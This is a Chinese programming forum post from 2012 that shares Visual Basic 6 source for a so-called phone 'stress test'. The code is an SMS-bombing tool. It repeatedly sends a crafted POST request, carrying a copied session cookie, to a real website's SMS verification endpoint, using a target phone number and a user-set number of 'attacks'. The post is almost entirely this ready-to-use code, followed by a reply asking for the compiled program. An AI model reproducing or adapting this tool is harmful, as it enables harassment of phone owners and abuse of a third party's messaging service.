天马行空工作室

 找回密码
 加入天马
搜索
查看: 3228|回复: 1

蓝天专版2012手机压力测试V1.2超级暴力版

[复制链接]
发表于 2012-4-22 22:20:44 | 显示全部楼层 |阅读模式
本帖最后由 蓝天 于 2013-1-30 17:02 编辑

网速不给力,直接上源码
  1. Option Explicit
  2. Dim info1 As String
  3. Dim a As Integer
  4. Dim n As Integer
  5. Private Sub Command1_Click()
  6. a = Val(Text2.Text)
  7. '获取攻击次数
  8. info1 = ""
  9. '我们要发送的数据包,在未发送时为空
  10. Winsock1.Close
  11. Winsock1.RemoteHost = "www.dajiangsai.org"
  12. '主机地址,可以从数据包中的host读出
  13. Winsock1.RemotePort = 80
  14. '端口地址
  15. Winsock1.Connect
  16. delay 1000
  17. '延时函数
  18. End Sub
  19. Private Sub Command2_Click()
  20. Me.Label4.Caption = ""
  21. a = 0
  22. Text2.Text = 0
  23. Exit Sub
  24. End Sub
  25. Private Sub Winsock1_Connect()
  26. Me.Command1.Enabled = False
  27. '在发送数据时,将开始按钮变灰
  28. On Error Resume Next
  29. '以下就是我们要发送的数据包内容
  30. info1 = info1 + "POST /match/member/sendCheck?cellPhone=" + Text1.Text + " HTTP/1.1" + vbCrLf
  31. info1 = info1 + "x-requested-with: XMLHttpRequest" + vbCrLf
  32. info1 = info1 + "Accept-Language: zh-cn" + vbCrLf
  33. info1 = info1 + "Referer: http://www.dajiangsai.org/match/member/regist.jsp" + vbCrLf
  34. info1 = info1 + "Accept: text/plain, */*; q=0.01" + vbCrLf
  35. info1 = info1 + "Accept-Encoding: gzip, deflate" + vbCrLf
  36. info1 = info1 + "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) " + vbCrLf
  37. info1 = info1 + "Host: www.dajiangsai.org" + vbCrLf
  38. info1 = info1 + "Content-Length: 0" + vbCrLf
  39. info1 = info1 + "Connection: Keep-Alive" + vbCrLf
  40. info1 = info1 + "Cache-Control: no-cache" + vbCrLf
  41. info1 = info1 + "Cookie: JSESSIONID=15FD26D2C54072B8A7E02DFDBF39CED3; match.cookie.session.id=15FD26D2C54072B8A7E02DFDBF39CED3; cnzz_a3965697=1; sin3965697=; rtime=0; ltime=1333605573869; cnzz_eid=58711137-1333600774-" + vbCrLf
  42. info1 = info1 + vbCrLf
  43. For n = 1 To a
  44. '循环发送
  45. Winsock1.SendData info1
  46. '发送数据
  47. Me.Label4.Caption = "短信正在发送中......"
  48. '状态显示
  49. delay 1000
  50. Next
  51. Me.Label4.Caption = "短信已经发送完成!!"
  52. Me.Command1.Enabled = True
  53. End Sub
  54. Sub delay(t As Long)
  55. '自己定义的一个延时函数,以保证我们发送的数据都会被服务器接收到
  56. Dim i As Long
  57. For i = 0 To t
  58. DoEvents
  59. Next
  60. End Sub
  61. Private Sub Form_Load()
  62. MsgBox "欢迎使用本程序,蓝天友情提示:请不要将此软件用于非法活动,否则由此引发的法律或刑事纠纷均由使用者承担与本作者无关!!! 谢谢合作 BY:蓝天 "
  63. End Sub
  64. Private Sub Timer1_Timer()
  65. Label1.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
  66. Text2.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
  67. Text3.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
  68. Label6.ForeColor = RGB(255 * Rnd(), 255 * Rnd(), 255 * Rnd())
  69. End Sub



复制代码
图后边上……
发表于 2012-4-23 23:09:51 | 显示全部楼层
晕,能给个软件吗?
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-11-21 19:03 , Processed in 1.278384 second(s), 21 queries .

Powered by Discuz! v8

© 2010-2014 蓝天专版2012手机压力测试V1.2超级暴力版 - 编程讨论 天马行空工作室

快速回复 返回顶部 返回列表